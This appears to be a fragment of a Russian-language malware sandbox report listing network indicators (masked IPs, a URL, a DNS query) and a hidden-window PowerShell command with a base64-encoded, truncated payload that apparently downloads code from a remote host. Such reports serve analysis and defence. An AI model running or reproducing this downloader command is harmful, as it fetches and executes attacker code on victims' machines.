Техническая информация
- '10#.#75.243.148':80
- http://10#.#75.243.148/new_image.jpg
- '34.##9.100.209':443
- DNS ASK co##############e-chains.prod.autograph.services.mozaws.net
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -nop -w hidden -c "$remuneration = 'JABiAGUAZwB1AGkAbAB0AHkAIAA9ACAAJwB0AHgAdAAuAGwAaQB6AGEAcgBiAGkAaQBpAGIAYQBtAG0AbQBtAGUALwA4ADQAMQAuADMANAAyAC4ANQA3ADEALgA3ADAAMQAvAC8AOgBwAHQAdABoACcAOwAkA... (со скрытым окном)